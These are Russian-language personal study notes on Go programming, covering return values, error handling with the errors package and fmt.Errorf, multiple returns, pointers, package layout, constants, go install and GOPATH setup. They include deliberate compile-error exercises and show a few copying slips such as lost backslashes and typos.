func double(number float64) float64 {
return number * 2 //Функция всегда должна завершаться здесь...
fmt.Println(number * 2) //А эта строка никогда не должна выполняться!
}
Ошибка:
# command-line-arguments
./16_err_return.go:8:1: missing return at end of function

Ошибка компиляции произойдет и в том случае, если тип возвращаемого значения не соответствует объявленному возвращаемому типу.
func double(number float64) float64 { //Должно возвращаться число с плавающей точкой...
return int(number * 2) //...а возвращается целое число!
}
Ошибка:
# command-line-arguments
./17_err_return.go:4:12: cannot use int(number * 2) (type int) as type float64 in return argument

48. Использование возвращаемого значения в программе

Изменим функцию paintNeeded так, чтобы она возвращала необходимый объем.
Возвращаемое значение будет использоваться в функции main как для вывода расхода краски для текущей стены, так и для обновления переменной total,
в которой накапливается общий расход краски.
package main
import "fmt"
func paintNeeded(width float64, height float64) float64 { //объявляет, что paintNeeded возвращает число с плавающей точкой
        area := width * height
        return area / 10.0 //Функция возвращает расход краски вместо того, чтобы выводить его.
}
func main() {
        var amount, total float64                   //Объявляем переменные для хранения расхода краски для текущей сметы, а также для общего расхода по всем сменам.
        amount = paintNeeded(4.2, 3.0)              //Вызываем paintNeeded и сохраняем возвращаемое значение
        fmt.Printf("%0.2f liters neededn", amount) //Выводим расход для первой сметы
        total += amount                             //Прибавляем расход для текущий смены к total
        amount = paintNeeded(5.2, 3.5)
        fmt.Printf("%0.2f litersn", total)
        total += amount
        fmt.Printf("Total: %0.2f littersn", total) //Выводим общий расход по всем сменам
}

49. Ломаем:

Пример кода:
package main
import "fmt"
func paintNeeded(width float64, height float64) float64 { 
        area := width * height
        return area / 10.0 
func main() {
        var amount, total float64                   
        amount = paintNeeded(4.2, 3.0)              
        fmt.Printf("%0.2f liters neededn", amount) 
        total += amount                             
        amount = paintNeeded(5.2, 3.5)
        fmt.Printf("%0.2f litersn", total)
        total += amount
        fmt.Printf("Total: %0.2f littersn", total) 
}

0. Удалить команду return:
func paintNeeded(width float64, height float64) float64 {
area := width * height
//return area / 10.0
}
Ошибка:
# command-line-arguments
./19_break.go:8:1: missing return at end of function
Если функция объявляет возвращаемый тип, Go требует, чтобы она содержала команду return

1. Добавить строку после команды return: 
Добавить строку после команды return:
func paintNeeded(width float64, height float64) float64 {
area := width * height
return area / 10.0
fmt.Println(area / 10.0)
}
Ошибка:
# command-line-arguments
./19_break.go:10:1: missing return at end of function
Если функция объявляет возвращаемый тип, Go требует, чтобы ее последней командой была команда return

2. Удалить объявление возвращаемого типа:
func paintNeeded(width float64, height float64) /*float64*/ {
area := width * height
return area / 10.0
}
Ошибка:
# command-line-arguments
./19_break.go:9:2: too many arguments to return
        have (float64)
        want ()
./19_break.go:14:22: paintNeeded(4.2, 3) used as value
./19_break.go:17:22: paintNeeded(5.2, 3.5) used as value

Go не позволяет вернуть значение, тип которого не был объявлен

3. Изменить тип возвращаемого значения:
func paintNeeded(width float64, height float64) float64 {
area := width * height
return int(area / 10.0)
}
Ошибка:
# command-line-arguments
./19_break.go:11:12: cannot use int(area / 10) (type int) as type float64 in return argument
Go требует, чтобы тип возвращаемого значения соответствовал объявленному типу

50. Функции paintNeeded нужна обработка ошибок

Ваша функция paintNeeded отлично работает... чаще всего. 
Но один из пользователей недавно случайно передал ей отрицательное число и получил отрицательный расход краски!

Пример:
func main() {
amount := paintNeeded(4.2, -3.0)
fmt.Printf("%0.2f liters neededn", amount)
}
func paintNeeded(width float64, height float64) float64 {
area := width * height
return area / 10.0
}


Похоже, функция paintNeeded и не подозревает, что переданный ей аргумент недействителен. 
Она просто идет напролом, использует этот аргумент в своих вычислениях и возвращает недействительный результат. 
Это создает проблемы — даже если вы знаете, где можно приобрести отрицательный объем краски, захочется ли вам использовать такую краску у себя дома? 
Необходимо обнаруживать недопустимые значения аргументов и сообщать об ошибке.

Ранее были продемонстрированы функции, которые в дополнение к основному возвращаемому значению также возвращают второе значение — признак ошибки. 
Например, функция strconv.Atoi пытается преобразовать строку в целое число. 
Если преобразование прошло успешно, возвращается значение ошибки nil, означающее, что программа может продолжать работу. 
Но если значение ошибки не равно nil, значит, строку невозможно преобразовать в число. 
В таком случае мы решили вывести значение ошибки и прервать выполнение программы.
Пример:
guess, err := strconv.Atoi(input) //Входная строка преобразуется в целое число
if err != nil {
//Если обнаружена ошибка, вывести сообщение и прервать работу программы
log.Fatal(err)
}


Если мы хотим, чтобы при вызове функции paintNeeded происходило то же самое, необходимо реализовать две возможности:
- Создание значения, представляющего ошибку.
- Возвращение дополнительного значения из функции paintNeeded.
Нужно сначала разобраться с пакетом errors.

51. Ошибки и пакет erros

Значение ошибки представляет собой любое значение с методом Error, который возвращает строку. 
Чтобы создать такое значение, проще всего передать строку функции New из пакета errors — функция создаст и вернет новое значение ошибки. 
Если вызвать для полученного значения метод Error, вы получите строку, переданную errors.New


Пример:
package main
import (
"errors"
"fmt"
)
func main() {
err := errors.New("height can't be negative") //Создаем новое значение ошибки
fmt.Println(err.Error()) //Возвращает сообщение об ошибке
}

Но если значение ошибки передается функции из пакета fmt или log, скорее всего, вам не нужно будет вызвать его метод Error. 
Функции пакетов fmt и log были написаны так, что они проверяют, содержит ли переданное им значение метод Error, и если содержит — выводят возвращаемое значение Error.

err := errors.New("height can't be negative")
fmt.Println(err) //Выводит сообщение об ошибке.
log.Fatal(err) //Тоже выводит сообщение об ошибке, после чего завершает программу.

Но если значение ошибки передается функции из пакета fmt или log, скорее всего, вам не нужно будет вызвать его метод Error. 
Функции пакетов fmt и log были написаны так, что они проверяют, содержит ли переданное им значение метод Error, 
и если содержит — выводят возвращаемое значение Error.

err := errors.New("height can't be negative")
fmt.Println(err) //Выводит сообщение об ошибке
log.Fatal(err) //Тоже выводит сообщение об ошибке, после чего завершает программу.

Если вам потребуется отформатировать числа или другие значения для использования в сообщениях об ошибках, воспользуйтесь функцией fmt.Errorf. 
Функция вставляет значения в форматную строку так же, как это делает fmt.Printf или fmt.Sprintf, 
но вместо вывода или возвращения строки она возвращает значение ошибки.


err := fmt.Errorf("a height of %0.2f is invalid", -2.33333)
fmt.Println(err.Error())
fmt.Println(err)

52. Объявление нескольких возвращаемых значений

Чтобы объявить функцию с несколькими возвращаемыми значениями, 
заключите типы возвращаемых значений во второй набор круглых скобок в объявлении функции (после
круглых скобок с параметрами), разделяя их запятыми. 
Круглые скобки вокруг возвращаемых значений можно опустить, если функция возвращает всего одно значение, но с несколькими возвращаемыми значениями они обязательны.

package main
import "fmt"
func manyReturns() (int, bool, string) {
        return 1, true, "hello"
}
func main() {
        myInt, myBool, myString := manyReturns()
        fmt.Println(myInt, myBool, myString)
}
    
Вы также можете задать имя для каждого возвращаемого значения (по аналогии с именами параметров), если это поможет лучше понять их предназначение. 
Именованные возвращаемые значения в основном служат документацией для программистов, читающих код

package main
import (
        "fmt"
        "math"
)
func floatParts(number float64) (integerPart int, fractionalPart float64) {
        wholeNumber := math.Floor(number)
        return int(wholeNumber), number - wholeNumber
}
func main() {
        cans, remainder := floatParts(1.26)
        fmt.Println(cans, remainder)
}




53. Использование множественных возвращаемых значений с функцией paintNeeded

Функция может возвращать несколько значений любых типов.

Впрочем, чаще всего эта возможность используется для возвращения основного значения, 
за которым следует дополнительное значение, указывающее, обнаружила ли функция ошибку. 
Дополнительному значению обычно присваивается nil, если выполнение прошло без проблем, или значение ошибки, если возникла ошибка.

Мы также будем следовать этим соглашениям в своей функции paintNeeded. 
В объявлении функции будет указано, что она возвращает два значения, float64 и error. (Значения ошибок имеют тип error.) 

В блоке функции мы прежде всего проверяем параметры. 
Если хотя бы один из параметров width или height меньше 0, функция возвращает расход краски 0 (это значение бессмысленно, но что-то надо вернуть) и значение ошибки, 
сгенерированное вызовом fmt.Errorf.
Проверка ошибок в начале функции позволяет легко пропустить остальной код функции вызовом return при возникновении проблем.

Если значения параметров допустимы, мы переходим к вычислению и возвращению расхода краски, как и прежде. 
В коде функции встречается только одно отличие: наряду с расходом краски возвращается второе значение nil, указывающее на отсутствие ошибок.

package main
import "fmt"
func paintNeeded(width float64, height float64) (float64, error) {
        if width < 0 {
                return 0, fmt.Errorf("a width of %0.2f is invalid", width) //Если ширина имеет недопустимое значение, вернуть 0 и признак ошибки.
        }
        if height < 0 {
                return 0, fmt.Errorf("a height of %0.2f is invalid", height) //Если высота имеет недопустимое значение, вернуть 0 и признак ошибки.
        }
        area := width * height
        return area / 10.0, nil //Возвращает расход краски и значение «nil», которое указывает на отсутствие ошибок.
}
func main() {
        amount, err := paintNeeded(4.2, -3.0)
        fmt.Println(err) //Выводим значение ошибки (или «nil», если ошибки не было).
        fmt.Printf("%0.2f liters neededn", amount)
}


54. Всегда обрабатывайте ошибки!

При передаче paintNeeded недопустимого аргумента вы получаете значение ошибки, которое выводится для просмотра пользователем. 
Но при этом мы также получаем (недействительный) расход краски, который тоже выводится программой!

func main() {
amount, err := paintNeeded(4.2, -3.0) //err Этой переменной присваивается значение ошибки. // amount Присваивается 0 (бессмысленное значение).
 fmt.Println(err) // Выводит ошибку
 fmt.Printf("%0.2f liters neededn", amount) // Выводит бессмысленное значение!
}


Наряду со значением ошибки функция также обычно должна возвращать основное значение.
Но любые другие значения, возвращаемые вместе со значением ошибки, следует считать ненадежными и игнорировать. 
Когда вы вызываете функцию, возвращающую значение ошибки, прежде всего необходимо убедиться в том, что это значение равно nil. 
Если значение отлично от nil, значит, в программе возникла ошибка, которую необходимо обработать.
Как именно должна обрабатываться ошибка — зависит от ситуации. 
Возможно, в случае с функцией paintNeeded лучше всего будет пропустить текущее вычисление и продолжить выполнение программы:


func main() {
amount, err := paintNeeded(4.2, -3.0)
if err != nil { //Если значение ошибки не равно nil, в программе возникли проблемы...
     fmt.Println(err) //...поэтому выводим ошибку.
} else { // В противном случае значение ошибки будет равно nil...
     fmt.Printf("%0.2f liters neededn", amount) //и можно спокойно вывести полученный расход краски. 
}
// Дальнейшие вычисления...
}


Но в такой короткой программе вместо этого можно вызвать log.Fatal, чтобы вывести сообщение об ошибке и прервать выполнение.
func main() {
amount, err := paintNeeded(4.2, -3.0)
  if err != nil { //Если значение ошибки не равно nil, в программе возникли проблем...
     log.Fatal(err) //...выводим ошибку и прерываем выполнение программы.
}
fmt.Printf("%0.2f liters neededn", amount) .Этот код никогда не будет выполняться при возникновении ошибки.
}

Важно помнить, что возвращаемое значение всегда следует проверять, чтобы знать, произошла ли ошибка. 
А что делать с ошибкой, зависит от вас!

55. Ломаем и изучаем

Пример кода:
package main
import (
        "fmt"
        "math"
)
func squareRoot(number float64) (float64, error) {
        if number < 0 {
                return 0, fmt.Errorf("can't get square root of negative number")
        }
        return math.Sqrt(number), nil
}
func main() {
        root, err := squareRoot(-9.3)
        if err != nil {
                fmt.Println(err)
        } else {
                fmt.Printf("%0.3f", root)
        }
}


0. Удалить один из аргументов return: 
return math.Sqrt(number) // например nil
Ошибка:
# command-line-arguments
./03_prim.go:18:2: not enough arguments to return
        have (float64)
        want (float64, error)
Количество аргументов return всегда должно соответствовать количеству возвращаемых значений в объявлении функции.


1. Удалить одну из переменных, которым присваиваются возвращаемые значения:
root := squareRoot(-9.3)  // удалили err
Ошибка:
# command-line-arguments
./03_prim.go:21:7: assignment mismatch: 1 variable but squareRoot returns 2 values
./03_prim.go:23:5: undefined: err
./03_prim.go:24:15: undefined: err
Если вы используете одно из возвращаемых значений функции, Go требует, чтобы вы использовали их все.

2. Удалить код, использующий одно из возвращаемых значений:
root, err := squareRoot(-9.3)
//if err != nil {
//fmt.Println(err)
//} else {
fmt.Printf("%0.3f", root)
//}
Ошибка:
# command-line-arguments
./05_dz.go:20:7: assignment mismatch: 1 variable but squareRoot returns 2 values
Go требует, чтобы каждая объявленная переменная использовалась в программе. 
И эта особенность весьма полезна для работы с возвращаемыми значениями, потому что она предотвращает случайное игнорирование ошибок.

56. В параметрах функций хранятся копии аргументов

Как уже говорилось, при вызове функции с объявленными параметрами необходимо передать аргументы при вызове. 
Значение каждого аргумента копируется в соответствующую переменную-параметр. 
(Этот механизм в языках программирования иногда называют «передачей по значению».)
Во многих случаях этого достаточно. 
Но если вы хотите передать значение переменной функции, чтобы функция каким-то образом изменила его, возникает проблема. 
Функция может изменить только копию значения параметра, но не оригинал. 
Таким образом, любые изменения, внесенные внутри функции, не будут видны за ее пределами!


Ниже приведена обновленная версия функции double, приведенной выше.
Она получает число, умножает его на 2 и выводит результат. 
(Функция использует оператор *= , который работает аналогично += , но умножает значение из переменной вместо того, чтобы выполнять сложение.)

package main
import "fmt"
func main() {
        amount := 6 //Аргумент передается функции
        double(amount)
}

func double(number int) { //В параметрах сохраняется копия аргумента
        number *= 2
        fmt.Println(number) //Выводит удвоенное значение
}

Но предположим, вы хотите переместить команду вывода удвоенного значения из функции double в функцию, из которой она вызывается. 
Такое решение работать не будет, потому что double изменяет только копию значения.
При попытке вывести значение в вызывающей функции будет выведено исходное значение, а не удвоенное!

package main
import "fmt"
func main() {
        amount := 6
        double(amount)      //Функция передает аргумент
        fmt.Println(amount) //Выводится исходное значение
}
func double(number int) { //Параметру присваивается копия аргумента
        number *= 2 // Измен
}

Как же добиться того, чтобы функция изменяла исходное значение, хранящееся в переменной, вместо его копии? 
Чтобы понять, как это делается, необходимо познакомиться с указателями.

57. Указатели

Оператор & (амперсанд) используется в Go для получения адреса переменной. 
Например, следующий код инициализирует переменную, сначала выводит ее значение, а затем адрес переменной...

Пример кода:
package main
import "fmt"
func main() {
        amount := 6
        fmt.Println(amount)  //Выводит значение переменной
        fmt.Println(&amount) //Выводит адрес переменной
}

вывод кода:
6 //Значение переменной.
0x400011c010 //Адрес переменной.


Адрес можно получить для переменной любого типа. 
Обратите внимание, все переменные имеют разные адреса.

Еще пример кода:
package main
import "fmt"
func main() {
        var myInt int
        fmt.Println(&myInt)

        var myFloat float64
        fmt.Println(&myFloat)

        var myBool bool
        fmt.Println(&myBool)

}

Вывод кода:
0x40000ba010
0x40000ba018
0x40000ba030


И что же собой представляют эти «адреса»? 
Чтобы найти конкретный дом в плотно застроенном городе, вам нужно знать его адрес...
Память, выделяемая компьютером программе, так же переполнена, как и городские улицы. 
Она забита значениями переменных: логическими значениями, целыми числами, строками и т. д. 
Зная адрес переменной, вы сможете воспользоваться им для получения значения, хранящегося в переменной.

               Адрес 
               |
0x1040a100 0x1040a108 0x1040a110 0x1040a118 0x1040a120 0x1040a128
true          6          ...        ...        ...       3.1415
              |
              значение, хранящееся по этому адресу!

!!! Значения, представляющие адреса переменных, называются указателями, потому что они указывают на область памяти, в которой хранится переменная.

58. Типы указателей

Тип указателя состоит из знака * и типа переменной, на которую ссылается указатель. 
Например, тип указателя на переменную int записывается в виде *int (читается «указатель на int»).

С помощью функции reflect.TypeOf можно вывести типы указателей из приведенной ранее программы:
package main
import (
        "fmt"
        "reflect"
)
func main() {
        var myInt int
        fmt.Println(reflect.TypeOf(&myInt)) //Получает указатель на myInt и выводит тип указателя.
        var myFloat float64
        fmt.Println(reflect.TypeOf(&myFloat)) //Получает указатель на myFloat и выводит тип указателя.
        var myBool bool
        fmt.Println(reflect.TypeOf(&myBool)) //Получает указатель на myBool и выводит тип указателя.*
}


В программе можно объявлять переменные, содержащие указатели. 
В таких переменных могут храниться только указатели на один конкретный тип переменной, 
так что переменная может содержать только указатели *int, только указатели *float64 и т. д.
package main
import "fmt"
func main() {
        myInt := 4 //Значение
        myIntPointer := &myInt //Указатель
        fmt.Println(myIntPointer) //Выводится сам указатель.
        fmt.Println(*myIntPointer) //Выводится значение, на которое ссылается указатель.

        myFloat := 98.6 //Значение
        myFloatPointer := &myFloat //Указатель
        fmt.Println(myFloatPointer) //Выводит сам указатель
        fmt.Println(*myFloatPointer) //Выводится значение, на которое ссылается указатель.

        myBool := true //Значение
        myBoolPointer := &myBool     ////Указатель
        fmt.Println(myBoolPointer)   //Выводит сам указатель
        fmt.Println(*myBoolPointer) //Выводится значение, на которое ссылается указатель.



Как и с другими типами, при немедленном присваивании исходного значения переменной-указателю можно воспользоваться коротким объявлением переменной.
package main
import "fmt"
func main() {
        var myBool bool
        myBoolPointer := &myBool //Короткое объявление переменной-указателя.
        fmt.Println(myBoolPointer)
}




59. Чтение или изменение значения по указателю


!!! Оператор * может использоваться для обновления значения по указателю.

package main
import "fmt"
func main() {
        myInt := 4 //Значение
        fmt.Println(myInt) //Вывести значение
        myIntPointer := &myInt //Создаем указатель
        *myIntPointer = 8 //Новое значение присваивается переменной, на которую ссылается указатель (myInt).
        fmt.Println(*myIntPointer) //Выводится значение переменной, на которую ссылается указатель.
        fmt.Println(myInt) //Значение переменной выводится напрямую.
}

/*
4 Исходное значение myInt.
8 Результат обновления *myIntPointer.
8 Обновление значения myInt (то же, что *myIntPointer).
*/


В приведенном коде команда *myIntPointer = 8 обращается к переменной, 
на которую ссылается указатель myIntPointer (то есть переменной myInt) и присваивает ей новое значение. 
Таким образом, обновляется не только значение *myIntPointer, но и myInt

60. Использование указателей с функциями

Указатели также можно возвращать из функций; 
просто объявите возвращаемый тип функции как тип указателя.

Пример кода:
package main
import "fmt"
func createInt() *int {
        var myInt = 100
        return &myInt
}

func createPointer() *float64 {
        var myFloat = 98.5
        return &myFloat
}

func crS() *string {
        var xX = "hello all"
        return &xX
}


func main() {
        var myFloatPointer *float64 = createPointer()
        fmt.Println(*myFloatPointer)

        var x *int = createInt()
        fmt.Println(*x)

        var x1 *string = crS()
        fmt.Println(*x1)
}

Кстати говоря, в отличие от некоторых других языков, в Go можно вернуть указатель на переменную, локальную по отношению к функции. 
И хотя эта переменная уже не находится в области видимости, пока у вас есть указатель, Go предоставит вам доступ к значению этой переменной.
package main
import "fmt"
func printPointer(myBoolPointer *bool) {
        fmt.Println(*myBoolPointer)
}

func main() {
        var myBool bool = true
        printPointer(&myBool)
}


61. Проведем промежуточные итоги

Функции
Типы
Условные команды
Циклы

0. Объявление функций
Чтобы вызвать объявленную вами функцию в другой точке того же пакета,
введите имя функции и пару круглых скобок со списком аргументов (если он есть)
Функция может возвращать одно или несколько значений.

1. Указатели
Чтобы получить указатель на переменную, поставьте оператор & прямо перед именем переменной:
&myVaruable
Имена типов-указателей состоят из символа * и типа значения, на которое ссылается указатель
(*int, *bool и т.д.)

2. Функция fmt.Printf и fmt.Sprintf форматируют переданные им значения.
В первом аргументе передается форматная срока с глаголами (%d, %f, %s и т.д.), 
на место которых подставляется отформатированные значения.

2.1 Глагол форматирования может содержать ширину:
минимальное количество символов, которые будет занимать отформатированное значение. 
Например, глагол %12s определяет строку из 12 символов (дополненную пробелами), 
%2d — целое число из двух цифр, 
а %.3f — число с плавающей точкой, округленное до трех цифр в дробной части.

3. Если вы хотите, чтобы при вызовах вашей функции передавались аргументы, 
необходимо объявить один или несколько параметров (с указанием типа каждого параметра) в объявлении функции.
Количество и тип аргументов всегда должны соответствовать количеству и типу параметров — в противном случае вы получите ошибку компиляции.

4. Если вы хотите, чтобы ваша функция возвращала одно или несколько значений, 
объявите типы возвращаемых значений в объявлении функции.

5. К переменным, объявленным внутри функции, невозможно обратиться вне этой функции. 
С другой стороны, внутри функции можно обращаться к переменным, объявленным за пределами функции (обычно на уровне пакета).

6. Если функция возвращает несколько значений, последнее значение обычно имеет тип error.
Значения ошибок содержат метод Error(), который возвращает строку с описанием ошибки.

7. По умолчанию функции возвращают значение ошибки nil, указывающее на отсутствие ошибок.

8. Чтобы обратиться к значению, на которое ссылается указатель, поставьте * перед именем:
*myPointer.

9. Если функция получает указатель в параметре и обновляет значение, на которое ссылается указатель, такое изменение будет видимо за пределами функции.


62. Пакеты Хранение кода пакетов

Пакеты нужны для хранения взаимосвязанного кода в одном месте. 
Но пакеты нужны не только для организации кода. 
Пакеты предоставляют простые средства для повторного использования кода в разных программах. 
А еще это простой способ распространения кода среди разработчиков.


Инструменты Go ищут код пакетов в специальном каталоге (папке) на вашем компьютере, который называется рабочей областью. 
По умолчанию рабочей областью является каталог с именем go в домашнем каталоге текущего пользователя.
Каталог рабочей области содержит три подкаталога:
- bin для хранения откомпилированных двоичных исполняемых программ. 
- pkg для хранения откомпилированных двоичных файлов пакетов. 
- src для хранения исходного кода Go.
В каталоге src код каждого пакета размещается в отдельном подкаталоге. 
По соглашениям имя подкаталога должно совпадать с именем пакета (так что код пакета gizmo должен храниться в подкаталоге с именем gizmo).
Подкаталог каждого пакета должен содержать один или несколько файлов с исходным кодом. 
Имена файлов могут быть любыми, но они должны иметь расширение .go.

домашний каталог пользователя
 |
 |_ go //каталог рабочей области.
    |
    |_ bin //Исполняемые программы
    |
    |_ pkg //Откомпилированный код пакетов
    |
    |_ src //Исходный код
        |
        |__ package1 //код пакета находится в отдельном каталоге.
        |
        |__ package2 //код пакета находится в отдельном каталоге.
               |
               |_ package2.go //каждый каталог пакета содержит один или несколько файлов с исходным кодом.
               |_ plugin.go //каждый каталог пакета содержит один или несколько файлов с исходным кодом.
Вопрос:
Вы говорите, что в каталоге пакета могут находиться несколько файлов.
Что должен содержать каждый файл?
Ответ:
Все что угодно! 
Весь код пакета можно хранить в одном файле, а можно разбить его на несколько файлов. 
В любом случае они станут частью одного пакета.

63. Создание нового пакета

Попробуем создать пакет в рабочей области. 
Это будет простой пакет с именем greeting, который выводит приветствия на разных языках.

При установке Go каталог рабочей области не создается по умолчанию, так что вам придется создать его самостоятельно. 
Для начала перейдите в свой домашний каталог. 
(Путь имеет вид C:Users<имя_пользователя> в большинстве систем Windows, 
/Users/<имя_пользователя> на Mac и /home/<имя_пользователя> в большинстве систем Linux.)

Linux:
cd ~
mkdir -p go/src/greeting
vim go/src/greeting/greeting.go
-------------------------------
package greeting
import "fmt"
func Hello() {
        fmt.Println("Hello!")
}

func Hi() {
        fmt.Println("Hi!")
}
-------------------------------

Как и все файлы с исходным кодом, встречавшиеся вам до этого, файл начинается с директивы package.
Но в отличие от других файлов, этот код не является частью пакета main; 
он принадлежит пакету с именем greeting.

64. Импорт пакета в программу


cd ~
mkdir go/src/hi
vim go/src/hi/main.go
-------------------
package main
import "greeting"
func main() {
        greeting.Hello()
        greeting.Hi()
}
----------------------

65. Файлы пакетов имеют одинаковую структуру

1. Директива package.
2. Директива import.
3. Собственно код программы

Пример в коде:
package main //Директива package.
import "fmt" //Директива import.
//Собственно код программы.
func main() { 
fmt.Println("Hello, Go!")
}

0. Изменить имя каталога greeting на salutation
Ошибка:
main.go:3:8: cannot find package "greeting" in any of:
        /usr/lib/go-1.15/src/greeting (from $GOROOT)
        /home/pi/go/src/greeting (from $GOPATH)
Программа не будет работать, потому что:
Инструменты Go используют имя в пути импорта как имя каталога, из которого должен загружаться исходный код пакета. 
Если имена не совпадают, то код не загрузится.

1. Изменить имя в строке package файла greeting  на "package salutation"
Ошибка:
main.go:4:8: cannot find package "salutation" in any of:
        /usr/lib/go-1.15/src/salutation (from $GOROOT)
        /home/pi/go/src/salutation (from $GOPATH)
Программа не будет работать, потому что:
Содержимое каталога greeting загрузится как пакет с именем salutation. 
Но поскольку в вызовах функций в main.go упоминается пакет greeting, вы получите сообщения об ошибке

2. Преобразовать имена функций в файлах greeting.go и main.go к нижнему регистру
func hello()
func hi()
greeting.hello()
greeting.hi()
Ошибка:
# command-line-arguments
./main.go:6:2: cannot refer to unexported name greeting.hello
./main.go:6:2: undefined: greeting.hello
./main.go:7:2: cannot refer to unexported name greeting.hi
./main.go:7:2: undefined: greeting.hi
Программа не будет работать, потому что:
Функции, имена которых начинаются с букв нижнего регистра, не экспортируются — это означает, что они могут использоваться только в своем пакете. 
Чтобы в программе можно было использовать функцию из другого пакета, эта функция должна экспортироваться, а для этого ее имя должно начинаться с буквы верхнего регистра


66. Соглашения по выбору имен пакетов

Разработчикам, использующим пакет, придется вводить его имя каждый раз, когда они вызывают функцию из этого пакета. 
(Вспомните fmt.Printf, fmt.Println, fmt.Print и т. д.)

Чтобы не возникало проблем, при выборе имен пакетов следует соблюдать несколько правил:
- Имя пакета должно быть записано только символами нижнего регистра.
- Имя следует сокращать, если его смысл очевиден (например, fmt).
- По возможности имя должно состоять из одного слова. Если необходимы два слова, они не должны разделяться символами подчеркивания, 
  а второе слово не должно начинаться с буквы верхнего регистра (пример — пакет strconv).

- Импортированные имена пакетов могут конфликтовать с именами локальных переменных, поэтому не используйте имя, 
которое с большой вероятностью может быть выбрано пользователями пакета. 
(Например, если бы пакет fmt назывался format, то импорт этого пакета создавал бы риск конфликта с локальной переменной format.)

Уточнение имен
При обращении к функции, переменной или чему-то еще, экспортируемому из другого пакета, необходимо уточнить имя функции или переменной, 
поставив перед именем функции или переменной имя пакета. 
Но при обращении к функции или переменной, определенной в текущем пакете, не следует уточнять имя пакета.


67. Константы

Многие пакеты экспортируют константы: именованные значения, которые не изменяются за время работы программы.
Объявление константы очень похоже на объявление переменной: в нем также указывается имя, необязательный тип и значение. 
Тем не менее правила несколько отличаются:
- Вместо ключевого слова var используется ключевое слово const.
- Значение константы должно быть задано в момент ее объявления. 
  Вы не сможете присвоить его позднее, как с переменными.
- Для переменных доступен синтаксис короткого объявления :=, а у констант аналогичной конструкции не существует.

       Имя константы      Значение
           |              |
const TriangleSides int = 3
  |                  |
  |                 Тип
  |
  Ключевое слово «const»

Как и при объявлении переменных, тип можно опустить, он будет автоматически определен по присваиваемому значению:
const SquareSides = 4 //Присваивается целое число, поэтому для константы будет выбран тип «int»

Значение переменной может изменяться, но значение константы должно оставаться постоянным. 
Попытка присвоить новое значение константе приведет к ошибке компиляции. 
Эта особенность констант обеспечивает безопасность: 
константы должны использоваться для значений, которые не должны изменяться.

Пример кода:
package main
import "fmt"
func main() {
        const PentagonSides = 5
        PentagonSides = 7
        fmt.Println(PentagonSides)
}

Ошибка:
# command-line-arguments
./00_constanta.go:8:16: cannot assign to PentagonSides


Если ваша программа включает «фиксированные» значения литералов (особенно если эти значения используются в нескольких местах), подумайте о том, чтобы заменить их константами (даже если программа не разбита на пакеты). 
Ниже приведен пакет с двумя функциями, в обеих функциях целочисленный литерал 7 представляет количество дней в неделе:


68. Вложенные каталоги и пути импорта пакетов


home
└── user
    └── go
        └── src
            └── __a__
            |   │   └── a.go //Код пакета "a"
            |   |
            |   └────── b.go //Код пакета "b"
            |
            └─ main.go //Наша программа, использующая пакеты "a" и "b"

Пример кода b:
package deutsch
import "fmt"
func Hallo() {
       fmt.Println("Hallo!")
}
func Hue() {
       fmt.Println("Guten Tag!")
}


Пример код main:
package main
import (
        "a"
        "a/b"
)
func main() {
       a.Hello()
       a.Hi()
       b.Hallo()
      b.Hue()
}


69. Установка исполняемых файлов командой "go install"

При использовании команды "go run" программа должна быть сначала откомпилирована, как и все пакеты, от которых она зависит. 
И весь откомпилированный код будет потерян после завершения программы.
Ранее была описана команда go build, которая компилирует и сохраняет исполняемый двоичный файл (файл, который может выполняться даже без установки Go). 
Но если вы будете использовать ее слишком часто, ваша рабочая область будет забита исполняемыми файлами в случайных и неподходящих местах.
Команда go install также сохраняет откомпилированные бинарные версии исполняемых программ, но в четко определенном и легкодоступном месте: 
в каталоге bin вашей рабочей области Go. 

Просто передайте go install имя каталога из src, содержащего код исполняемой программы (то есть файлов .go, начинающихся с package main). 
Программа будет откомпилирована, а исполняемый файл будет сохранен в стандартном каталоге.

!!! неважно, из какого каталога вы запустите "go install name_package" — компилятор будет искать каталог внутри каталога src

Когда компилятор Go видит, что файл в каталоге name_package содержит объявление "package main", он понимает, что это код исполняемой программы. 
Он компилирует исполняемый файл и сохраняет результат в каталоге с именем bin в рабочей области Go. 
Каталог bin будет создан автоматически, если он до этого не существовал.)

70. Переменная GOPATH и смена рабочих областей

На разных веб-сайтах можно увидеть, как разработчики говорят о "настройке GOPATH" при обсуждении рабочей области Go. 
GOPATH — переменная среды, к которой инструменты Go обращаются за информацией о местонахождении рабочей области. 
Большинство разработчиков хранит весь свой код Go в одной рабочей области и не меняет ее местонахождения по умолчанию. 
Но при желании можно использовать GOPATH для перемещения рабочей области в другой каталог.

Переменная среды предназначена для хранения и чтения значений (как и переменные Go), но управляет ею операционная система, а не Go. 
Некоторые программы настраиваются при помощи переменных среды; к их числу относится и компилятор Go.
Допустим, вместо домашнего каталога вы разместили свой пакет greeting в каталоге code в корневом каталоге своего жесткого диска. 
И теперь вы хотите запустить файл main.go, который зависит от greeting.

Пример:
.
└── code
    ├── main.go
    └── src
        └── greeting
            └── greeting.go

Код:
cat code/main.go
package main
import "greeting"
ifunc main() {
        greeting.Hello()
        greeting.Hi()
}

cat code/src/greeting/greeting.go
package greeting
import "fmt"
func Hello() {
        fmt.Println("hrllo")
}
func Hi() {
        fmt.Print("Hi")
}


Допустим, вместо домашнего каталога вы разместили свой пакет greeting в каталоге code в корневом каталоге своего жесткого диска. 
И теперь вы хотите запустить файл main.go, который зависит от greeting.

Но вы получаете сообщение об ошибке. 
В нем говорится, что пакет greeting не найден, так как компилятор продолжает искать пакет в подкаталоге go вашего домашнего каталога:
Ошибка:
main.go:2:8: cannot find package "greeting" in any of:
        /usr/lib/go-1.15/src/greeting (from $GOROOT)
        /home/pi/go/src/greeting (from $GOPATH)


71. Настройка GOPATH

Если ваш код хранится в другом каталоге (вместо каталога по умолчанию), 
вы должны настроить компилятор Go и передать информацию о местонахождении кода. 
Для этого можно воспользоваться переменной среды GOPATH, а конкретный способ зависит от операционной системы.

Системы Mac и Linux systems:
Для настройки переменной среды используется команда export. 
В приглашении терминала введите команду:
export GOPATH="/code"
Для каталога с именем code в корневом каталоге жесткого диска используется путь "/code". 
Если вы храните код в другом месте, укажите нужный путь.

Системы Windows:
Для настройки переменной среды используется команда set. 
В приглашении командной строки введите команду:
set GOPATH="C:code"
Для каталога с именем code в корневом каталоге жесткого диска используется путь «C:code». 
Если вы храните код в другом месте, укажите нужный путь.

Обратите внимание: описанные выше способы настраивают переменную среды GOPATH только для текущего окна терминала/командной строки. 
Вам придется настраивать ее заново для каждого нового окна. 
